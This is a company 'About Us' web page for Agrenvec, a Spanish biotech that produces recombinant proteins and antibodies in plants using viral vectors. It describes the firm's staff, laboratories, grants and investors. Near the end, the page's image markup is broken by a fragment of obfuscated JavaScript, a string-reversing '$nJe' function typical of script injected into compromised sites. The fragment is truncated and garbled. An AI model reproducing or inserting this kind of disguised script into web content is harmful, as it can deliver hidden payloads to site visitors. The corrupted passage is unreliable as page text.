About Us

Agrenvec is a European biotech specialized in plant production of mammalian recombinant proteins and antibodies for the R&D market. Was created as a start-up company in 2002 with the in-licensing of several patents from the INIA (Instituto Nacional de Investigación y Tecnología Agraria y Alimentaria).

We are focused on  the development, manufacture and marketing, of products and services for the R&D and Industrial markets. Our Company owns a patented technology platform allowing us a high-throughput production of Animal free fully active recombinant proteins with complex 3D structure and with a purity of 97%.

Supported by a multi-disciplinary group of experts with an extensive professional career, Agrenvec is one of the few companies in the world capable of using the viral vectors technology to turn plants into bio-factories. It counts with a stable work team of fourteen highly qualified professionals, 30% of our personnel have a PhD and 60% a university degree. Our manager team has a long experience in the pharmaceutical and biotechnological industry.

Our main offices and laboratories are located in the Parque Científico de Madrid. Our facilities are equipped with the latest technology in genetic engineering, purification of proteins including last generation ÄKTA Explorer, ÄKTA Express, phytotron and greenhouse for plant production and complete equipped molecular laboratory.

Agrenvec has developed unique purification protocols that combined with our technology platform enable us to produce recombinant proteins very competitively. We have accumulated a deep know-how in industrial production of recombinant proteins and antibodies. After several years of experience we control the whole value chain, from the bench to the final product, thanks to our highly qualified team. Our production system, compared to transgenic plants, is more efficient and flexible, faster and cheaper. Its scaling up is easier and linear; we obtain from milligrams to kilograms of the protein of interest.

Agrenvec is client-focused, so we adapt to our customer needs in all our projects.

Some of our projects have been co-founded by the Spanish Ministry of Science, and other public organizations, such as Innovation Department of Madrid Regional Government, Ministerio de Economía y Competitividad, CDTI, ENISA, Genoma España.

todos-2.png”><script>$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[todos 2″ src=”http://www.agrenvec.com/wp-content/uploads/2014/08/todos-2.png” width=”453″ height=”195″ />Agrenvec has received five Torres Quevedo grants financed by MINECO and FSE:  PTQ-0902-01201; PTQ-10-04153; PTQ-10-04188; PTQ-12-05783; PTQ-11-04428

Our current investors are: Uninvest, Suanfarma and Axis; The three of them are specialized biotechnology venture capital companies.


IPT-2012-0608-010000: Nueva generación de productos liposomados para dermatología y cosmética producidos en plantas biofactorías.

RTC-2014-2626-1 ,  Uso combinado de un nuevo procedimiento fotodinámico y factores de crecimiento animal-free para producir un prototipo optimizado de piel artificial humanizada con aplicaciones clínicas, farmacológicas y cosméticas.